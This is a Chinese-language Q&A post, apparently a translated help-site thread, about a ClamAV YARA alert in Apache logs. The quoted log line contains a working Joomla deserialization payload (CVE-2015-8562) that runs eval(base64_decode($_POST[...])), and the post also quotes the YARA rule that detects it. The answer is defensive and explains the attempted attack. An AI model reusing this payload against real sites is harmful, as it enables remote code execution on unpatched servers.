☰

YARA.eval_post.UNOFFICIAL 是什么，我应该怎么做？

tag-icon • tag-icon clamav
YARA.eval_post.UNOFFICIAL 是什么，我应该怎么做？

我的 ClamAV 扫描不断在我的 Apache 日志中发现此类示例：YARA.eval_post.UNOFFICIAL

有人知道这是什么以及该怎么办吗？

我尝试联系 yararules.com 上的人员，但没有收到任何回复。

我的日志条目如下所示：

160.202.162.212 - - [13/Jul/2017:05:53:12 -0400] "GET / HTTP/1.1" 503 299 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:4:\"\\0\\0\\0a\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:5:\"cache\";b:1;s:19:\"cache_name_function\";s:6:\"assert\";s:10:\"javascript\";i:9999;s:8:\"feed_url\";s:54:\"eval(base64_decode($_POST[111]));JFactory::get();exit;\";}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";i:1;}\xf0\x9d\x8c\x86"

适用的 Yara 规则如下：

rule eval_post {
    strings:
        $ = "eval(base64_decode($_POST"
        $ = "eval($undecode($tongji))"
        $ = "eval($_POST"
    condition: any of them
}

答案1

YARA.eval_post.UNOFFICIAL 是什么

首先，它是一条 YARA 规则，这意味着 ClamAV 发现了一些它归类为恶意软件的东西。

“非官方”部分仅表示 ClamAV 在此处的发现是“非官方的”，并且当检测到恶意软件时，情况就是如此任何非内置/默认签名。您很可能正在使用 clamav-unofficial-sigs。

您的日志条目是关于什么的

“Joomla 反序列化漏洞“（CVE-2015-8562），一种利用 HTTP 请求中的恶意内容的方法。基本上，有人试图对您的网站进行一种众所周知的攻击。如果您使用 Joomla，请确保它是最新的，以保持受保护。

最后但并非最不重要的一点是，似乎您已经扫描了 Apache 的日志文件，并且发现了eval(base64_decode($_POST[111]));（如您所见，尝试执行 POST http 请求的内容）。日志文件本身不会以任何方式构成安全威胁。

相关内容